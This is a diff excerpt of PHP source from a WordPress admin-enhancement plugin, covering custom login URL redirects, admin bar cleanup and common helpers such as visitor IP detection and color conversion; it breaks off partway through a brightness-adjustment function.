wp_safe_redirect( home_url( $redirect_slug . '/' ), 302 );
|
||||
exit;
|
||||
} elseif ( false !== strpos( $url_input, 'wp-admin/admin-post.php' ) ) {
|
||||
// Do nothing. i.e. do not redirect to /not_found/
|
||||
} elseif ( $bare_wp_admin_or_admin_with_query ) {
|
||||
wp_safe_redirect( home_url( $redirect_slug . '/' ), 302 );
|
||||
exit;
|
||||
} elseif ( isset( $url_input_parts[1] ) && in_array( $url_input_parts[1], array(
|
||||
'admin',
|
||||
'wp-admin',
|
||||
'login',
|
||||
'wp-login',
|
||||
'wp-login.php',
|
||||
'login.php'
|
||||
) ) && (!isset( $url_input_parts[2] ) || isset( $url_input_parts[2] ) && empty( $url_input_parts[2] ) || isset( $url_input_parts[2] ) && false !== strpos( $url_input_parts[2], '.php' )) ) {
|
||||
// Redirect to /not_found/ or custom redirect slug
|
||||
wp_safe_redirect( home_url( $redirect_slug . '/' ), 302 );
|
||||
exit;
|
||||
} elseif ( false !== strpos( $url_input, 'wp-login.php' ) ) {
|
||||
if ( isset( $_GET['action'] ) && ('logout' == $_GET['action'] || 'rp' == $_GET['action'] || 'resetpass' == $_GET['action']) || isset( $_GET['checkemail'] ) && ('confirm' == $_GET['checkemail'] || 'registered' == $_GET['checkemail']) || isset( $_GET['interim-login'] ) && '1' == $_GET['interim-login'] || 'success' == $interim_login || isset( $_GET['redirect_to'] ) && isset( $_GET['reauth'] ) && false !== strpos( $url_input, 'comment' ) ) {
|
||||
// When we're logging out, inside the reset password flow, inside the registration flow or within the interim login flow
|
||||
// e.g. https://www.example.com/wp-login.php?action=logout&_wpnonce=49bb818269
|
||||
// e.g. https://www.example.com/wp-login.php?action=rp --> reset password
|
||||
// e.g. https://www.example.com/wp-login.php?action=resetpass --> reset password
|
||||
// e.g. https://www.example.com/wp-login.php?checkmail=confirm --> reset password
|
||||
// e.g. https://www.example.com/wp-login.php?checkmail=registered --> register account
|
||||
// e.g. https://www.example.com/wp-login.php?interim-login=1&wp_lang=en_US
|
||||
// e.g. https://www.example.com/wp-admin/comment.php?action=approve&c=14#wpbody-content --> https://www.example.com/wp-login.php?redirect_to=https%3A%2F%2Fwww.example.com%2Fwp-admin%2Fcomment.php%3Faction%3Dapprove%26c%3D14&reauth=1#wpbody-content --> comment approve
|
||||
// Do nothing.. proceed...
|
||||
} elseif ( isset( $_GET['action'] ) && ('lostpassword' == $_GET['action'] || 'register' == $_GET['action']) ) {
|
||||
// When resetting password or registering an account
|
||||
if ( isset( $_POST['user_login'] ) ) {
|
||||
// Sending the form to reset password or register an account...
|
||||
// Do nothing.. proceed with password reset or account registration
|
||||
} else {
|
||||
// When landing on the password reset or registration form
|
||||
// ...and custom login slug is not in the URL
|
||||
if ( false === strpos( $url_input, $custom_login_slug ) ) {
|
||||
// Redirect to /not_found/
|
||||
wp_safe_redirect( home_url( $redirect_slug . '/' ), 302 );
|
||||
exit;
|
||||
}
|
||||
// or, custom login slug is in the url
|
||||
// e.g. https://www.example.com/wp-login.php?action=lostpassword&customloginslug
|
||||
// e.g. https://www.example.com/wp-login.php?action=register&customloginslug
|
||||
// Do nothing... allow reset password or registration
|
||||
}
|
||||
} elseif ( isset( $_GET['action'] ) && 'validate_2fa' == $_GET['action'] ) {
|
||||
// When performing two-factor authentication
|
||||
// Do nothing. Do not redirect. Allow login.
|
||||
} elseif ( false === strpos( $url_input, $custom_login_slug ) ) {
|
||||
// When landing on the login form /wp-login.php
|
||||
// ...and custom login slug is not in the URL
|
||||
// Redirect to /not_found/
|
||||
wp_safe_redirect( home_url( $redirect_slug . '/' ), 302 );
|
||||
exit;
|
||||
} elseif ( false !== strpos( $url_input, $custom_login_slug ) ) {
|
||||
// When landing on the login form /wp-login.php
|
||||
// ...and custom login slug is in the URL
|
||||
// e.g. https://www.example.com/wp-login.php?customloginslug&redirect=false
|
||||
// Do nothing. Do not redirect. Allow login.
|
||||
} else {
|
||||
}
|
||||
} else {
|
||||
}
|
||||
} else {
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Redirect to custom login URL on failed login
|
||||
*
|
||||
* @link https://plugins.trac.wordpress.org/browser/admin-login-url-change/trunk/admin-login-url-change.php#L148
|
||||
* @since 1.4.0
|
||||
*
|
||||
* @param string $username Username or email (WordPress 4.5+).
|
||||
* @param \WP_Error|null $error Authentication error (WordPress 5.4+).
|
||||
*/
|
||||
public function redirect_to_custom_login_url_on_login_fail( $username = '', $error = null ) {
|
||||
global $asenha_limit_login;
|
||||
$options = get_option( ASENHA_SLUG_U );
|
||||
$custom_login_slug = $options['custom_login_slug'];
|
||||
if ( isset( $asenha_limit_login ) && is_array( $asenha_limit_login ) && $asenha_limit_login['within_lockout_period'] ) {
|
||||
// Do nothing. This prevents redirection loop.
|
||||
} else {
|
||||
$should_redirect = true;
|
||||
// Prevent redirection to wp-login.php if the login process is initiated by a custom login form, e.g. WooCommerce, JetFormBuilder
|
||||
// i.e. the POST request will not contain WP login process defaults as follows
|
||||
if ( !isset( $_POST['log'] ) && !isset( $_POST['pwd'] ) && !isset( $_POST['wp-submit'] ) && !isset( $_POST['testcookie'] ) ) {
|
||||
$should_redirect = false;
|
||||
}
|
||||
if ( $should_redirect ) {
|
||||
$is_disabled_account = false;
|
||||
if ( is_wp_error( $error ) && in_array( Disable_User_Account::ERROR_CODE, $error->get_error_codes(), true ) ) {
|
||||
$is_disabled_account = true;
|
||||
Disable_User_Account::consume_pending_disabled_login_redirect_user_id();
|
||||
} else {
|
||||
$pending_disabled_id = Disable_User_Account::consume_pending_disabled_login_redirect_user_id();
|
||||
if ( null !== $pending_disabled_id ) {
|
||||
$is_disabled_account = true;
|
||||
}
|
||||
}
|
||||
if ( $is_disabled_account ) {
|
||||
// Preserve Disable User Account message (not the generic failed_login copy).
|
||||
wp_safe_redirect( site_url( 'wp-login.php?' . $custom_login_slug . '&redirect=false&asenha_account_disabled=1' ) );
|
||||
} else {
|
||||
// Append 'failed_login=true' so we can output custom error message above the login form
|
||||
wp_safe_redirect( site_url( 'wp-login.php?' . $custom_login_slug . '&redirect=false&failed_login=true' ) );
|
||||
}
|
||||
exit;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Add login error message on top of the login form.
|
||||
* Only shown if there's a failed_login URL parameter, and Limit Login Attempts module is not enabled.
|
||||
* If LLA module is enabled, the same custom login error message is handled there.
|
||||
*
|
||||
* @since 6.9.1
|
||||
*/
|
||||
public function add_failed_login_message( $message ) {
|
||||
global $asenha_limit_login;
|
||||
$asenha_account_disabled = ( isset( $_REQUEST['asenha_account_disabled'] ) ? sanitize_text_field( wp_unslash( $_REQUEST['asenha_account_disabled'] ) ) : '' );
|
||||
if ( '1' === $asenha_account_disabled ) {
|
||||
$message = '<div id="login_error" class="notice notice-error"><b>' . esc_html__( 'Error:', 'admin-site-enhancements' ) . '</b> ' . esc_html__( 'Your account has been disabled.', 'admin-site-enhancements' ) . '</div>';
|
||||
return $message;
|
||||
}
|
||||
if ( isset( $_REQUEST['failed_login'] ) && $_REQUEST['failed_login'] == 'true' ) {
|
||||
if ( is_null( $asenha_limit_login ) ) {
|
||||
$message = '<div id="login_error" class="notice notice-error"><b>' . __( 'Error:', 'admin-site-enhancements' ) . '</b> ' . __( 'Invalid username/email or incorrect password.', 'admin-site-enhancements' ) . '</div>';
|
||||
}
|
||||
}
|
||||
return $message;
|
||||
}
|
||||
|
||||
/**
|
||||
* Redirect to custom login URL on successful logout
|
||||
*
|
||||
* @link https://plugins.trac.wordpress.org/browser/admin-login-url-change/trunk/admin-login-url-change.php#L148
|
||||
* @since 1.4.0
|
||||
*/
|
||||
public function redirect_to_custom_login_url_on_logout_success() {
|
||||
$options = get_option( ASENHA_SLUG_U );
|
||||
$custom_login_slug = $options['custom_login_slug'];
|
||||
// Redirect to the login URL with custom login slug in it
|
||||
wp_safe_redirect( home_url( 'wp-login.php?' . $custom_login_slug . '&redirect=false' ) );
|
||||
exit;
|
||||
}
|
||||
|
||||
/**
|
||||
* Customize logout URL by adding the custom login slug to it
|
||||
*
|
||||
* @since 7.0.2.3
|
||||
*/
|
||||
public function customize_logout_url( $logout_url, $redirect ) {
|
||||
$options = get_option( ASENHA_SLUG_U );
|
||||
$custom_login_slug = $options['custom_login_slug'];
|
||||
if ( !empty( $redirect ) ) {
|
||||
$logout_url = add_query_arg( 'redirect_to', urlencode( $redirect ), $logout_url );
|
||||
}
|
||||
$logout_url .= '&' . $custom_login_slug;
|
||||
return $logout_url;
|
||||
}
|
||||
|
||||
}
|
||||
@@ -0,0 +1,106 @@
|
||||
<?php
|
||||
|
||||
namespace ASENHA\Classes;
|
||||
|
||||
/**
|
||||
* Class for Clean Up Admin Bar module
|
||||
*
|
||||
* @since 6.9.5
|
||||
*/
|
||||
class Cleanup_Admin_Bar {
|
||||
/**
|
||||
* Node ID prefix for Admin Bar Custom Elements (Pro). Must match generateItemId() in assets/premium/js/admin-bar-custom-elements.js.
|
||||
*
|
||||
* @var string
|
||||
*/
|
||||
const ADMIN_BAR_CUSTOM_ELEMENTS_NODE_ID_PREFIX = 'asenha-ab-';
|
||||
|
||||
/**
|
||||
* Modify admin bar menu for Admin Interface >> Hide or Modify Elements feature
|
||||
*
|
||||
* @param $wp_admin_bar object The admin bar.
|
||||
* @link https://wordpress.stackexchange.com/a/12652
|
||||
* @since 1.9.0
|
||||
*/
|
||||
public function modify_admin_bar_menu( $wp_admin_bar ) {
|
||||
$options = get_option( ASENHA_SLUG_U, array() );
|
||||
// Hide WP Logo Menu
|
||||
if ( array_key_exists( 'hide_ab_wp_logo_menu', $options ) && $options['hide_ab_wp_logo_menu'] ) {
|
||||
remove_action( 'admin_bar_menu', 'wp_admin_bar_wp_menu', 10 );
|
||||
// priority needs to match default value. Use QM to reference.
|
||||
}
|
||||
// Hide home icon and site name
|
||||
if ( array_key_exists( 'hide_ab_site_menu', $options ) && $options['hide_ab_site_menu'] ) {
|
||||
remove_action( 'admin_bar_menu', 'wp_admin_bar_site_menu', 30 );
|
||||
// priority needs to match default value. Use QM to reference.
|
||||
}
|
||||
// Hide Customize Menu
|
||||
if ( array_key_exists( 'hide_ab_customize_menu', $options ) && $options['hide_ab_customize_menu'] ) {
|
||||
remove_action( 'admin_bar_menu', 'wp_admin_bar_customize_menu', 40 );
|
||||
// priority needs to match default value. Use QM to reference.
|
||||
}
|
||||
// Hide Updates Counter/Link
|
||||
if ( array_key_exists( 'hide_ab_updates_menu', $options ) && $options['hide_ab_updates_menu'] ) {
|
||||
remove_action( 'admin_bar_menu', 'wp_admin_bar_updates_menu', 50 );
|
||||
// priority needs to match default value. Use QM to reference.
|
||||
}
|
||||
// Hide Comments Counter/Link
|
||||
if ( array_key_exists( 'hide_ab_comments_menu', $options ) && $options['hide_ab_comments_menu'] ) {
|
||||
remove_action( 'admin_bar_menu', 'wp_admin_bar_comments_menu', 60 );
|
||||
// priority needs to match default value. Use QM to reference.
|
||||
}
|
||||
// Hide New Content Menu
|
||||
if ( array_key_exists( 'hide_ab_new_content_menu', $options ) && $options['hide_ab_new_content_menu'] ) {
|
||||
remove_action( 'admin_bar_menu', 'wp_admin_bar_new_content_menu', 70 );
|
||||
// priority needs to match default value. Use QM to reference.
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Remove 'Howdy' from admin bar's account item
|
||||
*
|
||||
* @param $wp_admin_bar object The admin bar.
|
||||
* @link https://wordpress.stackexchange.com/a/12652
|
||||
* @since 7.3.1
|
||||
*/
|
||||
public function remove_howdy( $wp_admin_bar ) {
|
||||
$options = get_option( ASENHA_SLUG_U, array() );
|
||||
// Hide 'Howdy' text
|
||||
if ( array_key_exists( 'hide_ab_howdy', $options ) && $options['hide_ab_howdy'] ) {
|
||||
// Remove the whole my account sectino and later rebuild it
|
||||
remove_action( 'admin_bar_menu', 'wp_admin_bar_my_account_item', 7 );
|
||||
// Up to WP v6.5.5
|
||||
remove_action( 'admin_bar_menu', 'wp_admin_bar_my_account_item', 9991 );
|
||||
// Since WP v6.6
|
||||
$current_user = wp_get_current_user();
|
||||
$user_id = get_current_user_id();
|
||||
$profile_url = get_edit_profile_url( $user_id );
|
||||
$avatar = get_avatar( $user_id, 26 );
|
||||
// size 26x26 pixels
|
||||
$display_name = $current_user->display_name;
|
||||
$class = ( $avatar ? 'with-avatar' : 'no-avatar' );
|
||||
$wp_admin_bar->add_menu( array(
|
||||
'id' => 'my-account',
|
||||
'parent' => 'top-secondary',
|
||||
'title' => $display_name . $avatar,
|
||||
'href' => $profile_url,
|
||||
'meta' => array(
|
||||
'class' => $class,
|
||||
),
|
||||
) );
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Hide the Help tab and drawer
|
||||
*
|
||||
* @since 4.5.0
|
||||
*/
|
||||
public function hide_help_drawer() {
|
||||
if ( is_admin() ) {
|
||||
$screen = get_current_screen();
|
||||
$screen->remove_help_tabs();
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
@@ -0,0 +1,818 @@
|
||||
<?php
|
||||
|
||||
namespace ASENHA\Classes;
|
||||
|
||||
use WP_Query;
|
||||
/**
|
||||
* Class that provides common methods used throughout the plugin
|
||||
*
|
||||
* @since 2.5.0
|
||||
*/
|
||||
class Common_Methods {
|
||||
/**
|
||||
* Get IP of the current visitor/user. In use by at least the Limit Login Attempts feature.
|
||||
* This takes a best guess of the visitor's actual IP address.
|
||||
* Takes into account numerous HTTP proxy headers due to variations
|
||||
* in how different ISPs handle IP addresses in headers between hops.
|
||||
*
|
||||
* @link https://stackoverflow.com/q/1634782
|
||||
* @since 2.5.0
|
||||
*/
|
||||
public function get_user_ip_address( $return_type = 'ip', $for_which_module = 'limit-login-attempts' ) {
|
||||
$options = get_option( ASENHA_SLUG_U, array() );
|
||||
$ip_address_header = '';
|
||||
switch ( $for_which_module ) {
|
||||
case 'limit-login-attempts':
|
||||
$ip_address_header = ( isset( $options['limit_login_attempts_header_override'] ) ? trim( $options['limit_login_attempts_header_override'] ) : '' );
|
||||
break;
|
||||
case 'password-protection':
|
||||
$ip_address_header = ( isset( $options['password_protection_header_override'] ) ? trim( $options['password_protection_header_override'] ) : '' );
|
||||
break;
|
||||
}
|
||||
// Attempt to get IP address with the preferred header
|
||||
if ( !empty( $ip_address_header ) && isset( $_SERVER[$ip_address_header] ) ) {
|
||||
// Check if multiple IP addresses exist in var
|
||||
$ip_list = explode( ',', $_SERVER[$ip_address_header] );
|
||||
if ( is_array( $ip_list ) && count( $ip_list ) > 1 ) {
|
||||
foreach ( $ip_list as $ip ) {
|
||||
switch ( $return_type ) {
|
||||
case 'ip':
|
||||
if ( $this->is_ip_valid( trim( $ip ) ) ) {
|
||||
return sanitize_text_field( trim( $ip ) );
|
||||
} else {
|
||||
return '0.0.0.0';
|
||||
// placeholder IP address
|
||||
}
|
||||
break;
|
||||
case 'header':
|
||||
return $ip_address_header . ' (multiple IP addresses)';
|
||||
break;
|
||||
}
|
||||
}
|
||||
} else {
|
||||
switch ( $return_type ) {
|
||||
case 'ip':
|
||||
if ( $this->is_ip_valid( trim( $_SERVER[$ip_address_header] ) ) ) {
|
||||
return sanitize_text_field( $_SERVER[$ip_address_header] );
|
||||
} else {
|
||||
return '0.0.0.0';
|
||||
// placeholder IP address
|
||||
}
|
||||
break;
|
||||
case 'header':
|
||||
return $ip_address_header;
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
// The following request headers can be modified by user or attacker when sending a request, so, will bypass an already blocked IP
|
||||
// 'HTTP_CLIENT_IP', 'CF_CONNECTING_IP', 'HTTP_CF_CONNECTING_IP', 'HTTP_CF_CONNECTING_IP', 'TRUE_CLIENT_IP', 'HTTP_TRUE_CLIENT_IP', 'HTTP_X_FORWARDED', 'HTTP_X_CLUSTER_CLIENT_IP', 'HTTP_X_FORWARDED', 'HTTP_X_CLUSTER_CLIENT_IP', 'HTTP_FORWARDED_FOR', 'HTTP_FORWARDED'
|
||||
// Reported as security vulnerability in ASE <= v7.6.7.1 -- Limit Login Attempt Bypass via IP Spoofing
|
||||
// Return unreliable but unspoofable IP address coming from the $_SERVER global as the default / fallback
|
||||
switch ( $return_type ) {
|
||||
case 'ip':
|
||||
if ( $this->is_ip_valid( trim( $_SERVER['REMOTE_ADDR'] ) ) ) {
|
||||
return sanitize_text_field( $_SERVER['REMOTE_ADDR'] );
|
||||
} else {
|
||||
return '0.0.0.0';
|
||||
// placeholder IP address
|
||||
}
|
||||
break;
|
||||
case 'header':
|
||||
return 'REMOTE_ADDR';
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Check if the supplied IP address is valid or not
|
||||
*
|
||||
* @param string $ip an IP address
|
||||
* @link https://stackoverflow.com/q/1634782
|
||||
* @return boolean true if supplied address is valid IP, and false otherwise
|
||||
*/
|
||||
public function is_ip_valid( $ip ) {
|
||||
if ( empty( $ip ) ) {
|
||||
return false;
|
||||
}
|
||||
// Ref: https://www.php.net/manual/en/filter.filters.validate.php
|
||||
// Ref: https://www.php.net/manual/en/filter.constants.php#constant.filter-validate-ip
|
||||
// No need to specify which IP type to filter/check, e.g. filter_var( $ip, FILTER_VALIDATE_IP, FILTER_FLAG_IPV4 )
|
||||
// This should check for both IPv4 and IPv6 addresses
|
||||
if ( false === filter_var( $ip, FILTER_VALIDATE_IP, FILTER_FLAG_IPV4 ) && false === filter_var( $ip, FILTER_VALIDATE_IP, FILTER_FLAG_IPV6 ) ) {
|
||||
return false;
|
||||
}
|
||||
if ( false !== filter_var( $ip, FILTER_VALIDATE_IP, FILTER_FLAG_IPV4 ) || false !== filter_var( $ip, FILTER_VALIDATE_IP, FILTER_FLAG_IPV6 ) ) {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Convert number of seconds into hours, minutes, seconds. In use by at least the Limit Login Attempts feature.
|
||||
*
|
||||
* @since 2.5.0
|
||||
*/
|
||||
public function seconds_to_period( $seconds, $conversion_type ) {
|
||||
$period_start = new \DateTime('@0');
|
||||
$period_end = new \DateTime("@{$seconds}");
|
||||
if ( $conversion_type == 'to-days-hours-minutes-seconds' ) {
|
||||
return $period_start->diff( $period_end )->format( '%a days, %h hours, %i minutes and %s seconds' );
|
||||
} elseif ( $conversion_type == 'to-hours-minutes-seconds' ) {
|
||||
return $period_start->diff( $period_end )->format( '%h hours, %i minutes and %s seconds' );
|
||||
} elseif ( $conversion_type == 'to-minutes-seconds' ) {
|
||||
return $period_start->diff( $period_end )->format( '%i minutes and %s seconds' );
|
||||
} else {
|
||||
return $period_start->diff( $period_end )->format( '%a days, %h hours, %i minutes and %s seconds' );
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Remove html tags and content inside the tags from a string
|
||||
*
|
||||
* @since 3.0.3
|
||||
*/
|
||||
public function strip_html_tags_and_content( $string ) {
|
||||
// Strip HTML tags and content inside them. Ref: https://stackoverflow.com/a/39320168
|
||||
if ( !is_null( $string ) ) {
|
||||
if ( false === strpos( $string, 'fs-submenu-item' ) ) {
|
||||
$string = preg_replace( '@<(\\w+)\\b.*?>.*?</\\1>@si', '', $string );
|
||||
}
|
||||
// Strip any remaining HTML or PHP tags
|
||||
$string = strip_tags( $string );
|
||||
}
|
||||
return $string;
|
||||
}
|
||||
|
||||
/**
|
||||
* Extract readable text from a string that may contain HTML.
|
||||
*
|
||||
* Unlike strip_html_tags_and_content(), this method keeps the text inside tags,
|
||||
* e.g. it will turn `<span><img ...>Paymattic</span>` into `Paymattic`.
|
||||
*
|
||||
* @since 8.0.2
|
||||
*
|
||||
* @param string|null $html A string that may contain HTML.
|
||||
* @return string Readable plain text (may be empty).
|
||||
*/
|
||||
public function extract_readable_text_from_html( $html ) {
|
||||
if ( null === $html ) {
|
||||
return '';
|
||||
}
|
||||
$text = wp_strip_all_tags( (string) $html, true );
|
||||
$charset = get_bloginfo( 'charset' );
|
||||
if ( empty( $charset ) ) {
|
||||
$charset = 'UTF-8';
|
||||
}
|
||||
$text = html_entity_decode( $text, ENT_QUOTES, $charset );
|
||||
$text = preg_replace( '/\\s+/u', ' ', $text );
|
||||
return trim( $text );
|
||||
}
|
||||
|
||||
/**
|
||||
* Get menu hidden by toggle
|
||||
*
|
||||
* @since 5.1.0
|
||||
*/
|
||||
public function get_menu_hidden_by_toggle() {
|
||||
$menu_hidden_by_toggle = array();
|
||||
$options_extra = get_option( ASENHA_SLUG_U . '_extra', array() );
|
||||
$options = ( isset( $options_extra['admin_menu'] ) ? $options_extra['admin_menu'] : array() );
|
||||
if ( array_key_exists( 'custom_menu_hidden', $options ) ) {
|
||||
$menu_hidden = $options['custom_menu_hidden'];
|
||||
$menu_hidden = explode( ',', $menu_hidden );
|
||||
$menu_hidden_by_toggle = array();
|
||||
foreach ( $menu_hidden as $menu_id ) {
|
||||
$menu_hidden_by_toggle[] = $this->restore_menu_item_id( $menu_id );
|
||||
}
|
||||
}
|
||||
return $menu_hidden_by_toggle;
|
||||
}
|
||||
|
||||
/**
|
||||
* Get user capabilities for which the "Show All/Less" menu toggle should be shown for
|
||||
*
|
||||
* @since 5.1.0
|
||||
*/
|
||||
public function get_user_capabilities_to_show_menu_toggle_for() {
|
||||
global $menu, $submenu;
|
||||
$menu_always_hidden = array();
|
||||
$user_capabilities_menus_are_hidden_for = array();
|
||||
$menu_hidden_by_toggle = $this->get_menu_hidden_by_toggle();
|
||||
// indexed array
|
||||
foreach ( $menu as $menu_key => $menu_info ) {
|
||||
foreach ( $menu_hidden_by_toggle as $hidden_menu_id ) {
|
||||
if ( false !== strpos( $menu_info[4], 'wp-menu-separator' ) ) {
|
||||
$menu_item_id = $menu_info[2];
|
||||
} else {
|
||||
$menu_item_id = $menu_info[5];
|
||||
}
|
||||
if ( $menu_item_id == $hidden_menu_id ) {
|
||||
$user_capabilities_menus_are_hidden_for[] = $menu_info[1];
|
||||
}
|
||||
}
|
||||
}
|
||||
$user_capabilities_menus_are_hidden_for = array_unique( $user_capabilities_menus_are_hidden_for );
|
||||
return $user_capabilities_menus_are_hidden_for;
|
||||
// indexed array
|
||||
}
|
||||
|
||||
/**
|
||||
* Transform menu item's ID
|
||||
*
|
||||
* @since 5.1.0
|
||||
*/
|
||||
public function transform_menu_item_id( $menu_item_id ) {
|
||||
// Transform e.g. edit.php?post_type=page ==> edit__php___post_type____page
|
||||
$menu_item_id_transformed = str_replace( array(
|
||||
".",
|
||||
"?",
|
||||
"=/",
|
||||
"=",
|
||||
"&",
|
||||
"/",
|
||||
";"
|
||||
), array(
|
||||
"__",
|
||||
"___",
|
||||
"_______",
|
||||
"____",
|
||||
"_____",
|
||||
"______",
|
||||
"________"
|
||||
), $menu_item_id );
|
||||
return $menu_item_id_transformed;
|
||||
}
|
||||
|
||||
/**
|
||||
* Transform menu item's ID
|
||||
*
|
||||
* @since 5.1.0
|
||||
*/
|
||||
public function restore_menu_item_id( $menu_item_id_transformed ) {
|
||||
// Transform e.g. edit__php___post_type____page ==> edit.php?post_type=page
|
||||
$menu_item_id = str_replace( array(
|
||||
"________",
|
||||
"_______",
|
||||
"______",
|
||||
"_____",
|
||||
"____",
|
||||
"___",
|
||||
"__"
|
||||
), array(
|
||||
";",
|
||||
"=/",
|
||||
"/",
|
||||
"&",
|
||||
"=",
|
||||
"?",
|
||||
"."
|
||||
), $menu_item_id_transformed );
|
||||
return $menu_item_id;
|
||||
}
|
||||
|
||||
/**
|
||||
* Sanitize hexedecimal numbers used for colors
|
||||
*
|
||||
* @link https://plugins.trac.wordpress.org/browser/bm-custom-login/trunk/bm-custom-login.php
|
||||
* @param string $color Hex number to sanitize.
|
||||
* @return string
|
||||
*/
|
||||
public function sanitize_hex_color( $color ) {
|
||||
if ( '' === $color ) {
|
||||
return '';
|
||||
}
|
||||
// Make sure the color starts with a hash.
|
||||
$color = '#' . ltrim( $color, '#' );
|
||||
// 3 or 6 hex digits, or the empty string.
|
||||
if ( preg_match( '|^#([A-Fa-f0-9]{3}){1,2}$|', $color ) ) {
|
||||
return $color;
|
||||
}
|
||||
return null;
|
||||
}
|
||||
|
||||
/**
|
||||
* Get the post ID of the most recent post in a custom post type
|
||||
*
|
||||
* @since 6.4.1
|
||||
*/
|
||||
public function get_most_recent_post_id( $post_type ) {
|
||||
$args = array(
|
||||
'post_type' => $post_type,
|
||||
'posts_per_page' => 1,
|
||||
'orderby' => 'date',
|
||||
'order' => 'DESC',
|
||||
);
|
||||
$query = new WP_Query($args);
|
||||
if ( $query->have_posts() ) {
|
||||
$query->the_post();
|
||||
$post_id = get_the_ID();
|
||||
wp_reset_postdata();
|
||||
return $post_id;
|
||||
}
|
||||
return 0;
|
||||
// Return 0 if no posts found
|
||||
}
|
||||
|
||||
/**
|
||||
* Extended ruleset for wp_kses() that includes SVG tag and it's children
|
||||
*
|
||||
* @since 6.8.3
|
||||
*/
|
||||
public function get_kses_extended_ruleset() {
|
||||
$kses_defaults = wp_kses_allowed_html( 'post' );
|
||||
// For SVG icons
|
||||
$svg_args = array(
|
||||
'svg' => array(
|
||||
'class' => true,
|
||||
'aria-hidden' => true,
|
||||
'aria-labelledby' => true,
|
||||
'role' => true,
|
||||
'xmlns' => true,
|
||||
'width' => true,
|
||||
'height' => true,
|
||||
'viewbox' => true,
|
||||
'viewBox' => true,
|
||||
),
|
||||
'g' => array(
|
||||
'fill' => true,
|
||||
'fill-rule' => true,
|
||||
'stroke' => true,
|
||||
'stroke-width' => true,
|
||||
'stroke-linejoin' => true,
|
||||
'stroke-linecap' => true,
|
||||
),
|
||||
'title' => array(
|
||||
'title' => true,
|
||||
),
|
||||
'path' => array(
|
||||
'd' => true,
|
||||
'fill' => true,
|
||||
'stroke' => true,
|
||||
'stroke-width' => true,
|
||||
'stroke-linejoin' => true,
|
||||
'stroke-linecap' => true,
|
||||
),
|
||||
'rect' => array(
|
||||
'width' => true,
|
||||
'height' => true,
|
||||
'x' => true,
|
||||
'y' => true,
|
||||
'rx' => true,
|
||||
'ry' => true,
|
||||
'fill' => true,
|
||||
'stroke' => true,
|
||||
'stroke-width' => true,
|
||||
'stroke-linejoin' => true,
|
||||
'stroke-linecap' => true,
|
||||
),
|
||||
'circle' => array(
|
||||
'cx' => true,
|
||||
'cy' => true,
|
||||
'r' => true,
|
||||
'stroke' => true,
|
||||
'stroke-width' => true,
|
||||
'stroke-linejoin' => true,
|
||||
'stroke-linecap' => true,
|
||||
),
|
||||
);
|
||||
$kses_with_extras = array_merge( $kses_defaults, $svg_args );
|
||||
// For embedded PDF viewer
|
||||
$style_script_args = array(
|
||||
'style' => true,
|
||||
'script' => array(
|
||||
'src' => true,
|
||||
),
|
||||
);
|
||||
return array_merge( $kses_with_extras, $style_script_args );
|
||||
}
|
||||
|
||||
/**
|
||||
* Get the singular label from a $post object
|
||||
*
|
||||
* @since 6.9.3
|
||||
*/
|
||||
function get_post_type_singular_label( $post ) {
|
||||
$post_type_singular_label = '';
|
||||
if ( property_exists( $post, 'post_type' ) ) {
|
||||
$post_type_object = get_post_type_object( $post->post_type );
|
||||
if ( is_object( $post_type_object ) && property_exists( $post_type_object, 'label' ) ) {
|
||||
$post_type_singular_label = $post_type_object->labels->singular_name;
|
||||
}
|
||||
}
|
||||
return $post_type_singular_label;
|
||||
}
|
||||
|
||||
function is_in_block_editor() {
|
||||
$current_screen = get_current_screen();
|
||||
if ( method_exists( $current_screen, 'is_block_editor' ) && $current_screen->is_block_editor() ) {
|
||||
return true;
|
||||
} else {
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Check if WooCommerce is active
|
||||
*
|
||||
* @since 6.9.9
|
||||
*/
|
||||
public function is_woocommerce_active() {
|
||||
if ( function_exists( 'is_plugin_active' ) && is_plugin_active( 'woocommerce/woocommerce.php' ) ) {
|
||||
return true;
|
||||
} else {
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Convert HEX color to RGBA
|
||||
*
|
||||
* @link https://stackoverflow.com/a/31934345
|
||||
* @since 7.0.0
|
||||
*/
|
||||
public function hex_to_rgba( $hex, $alpha = false ) {
|
||||
$hex = str_replace( '#', '', trim( $hex ) );
|
||||
$length = strlen( $hex );
|
||||
$rgb['r'] = hexdec( ( $length == 6 ? substr( $hex, 0, 2 ) : (( $length == 3 ? str_repeat( substr( $hex, 0, 1 ), 2 ) : 0 )) ) );
|
||||
$rgb['g'] = hexdec( ( $length == 6 ? substr( $hex, 2, 2 ) : (( $length == 3 ? str_repeat( substr( $hex, 1, 1 ), 2 ) : 0 )) ) );
|
||||
$rgb['b'] = hexdec( ( $length == 6 ? substr( $hex, 4, 2 ) : (( $length == 3 ? str_repeat( substr( $hex, 2, 1 ), 2 ) : 0 )) ) );
|
||||
if ( false !== $alpha ) {
|
||||
$rgb['a'] = $alpha;
|
||||
}
|
||||
// Return array of r, g, b and a
|
||||
// return $rgb;
|
||||
// Return rgb(255,255,255) or rgba(255,255,255,.5)
|
||||
return implode( array_keys( $rgb ) ) . '(' . implode( ', ', $rgb ) . ')';
|
||||
}
|
||||
|
||||
/**
|
||||
* Increases or decreases the brightness of a color by a percentage of the current brightness.
|
||||
*
|
||||
* @param string $hex Supported formats: `#FFF`, `#FFFFFF`, `FFF`, `FFFFFF`
|
||||
* @param float $adjustment_percentage A number between -1 and 1. E.g. 0.3 = 30% lighter; -0.4 = 40% darker.
|
||||
*
|
||||
* @return string
|
||||
*
|
||||
* @link https://stackoverflow.com/a/54393956
|
||||
* @author maliayas
|
||||
*/
|
||||
function adjust_bnrightness( $hex, $adjustment_percentage ) {
|
||||
$hex = ltrim( $hex, '#' );
|
||||
if ( strlen( $hex ) == 3 ) {
|
||||
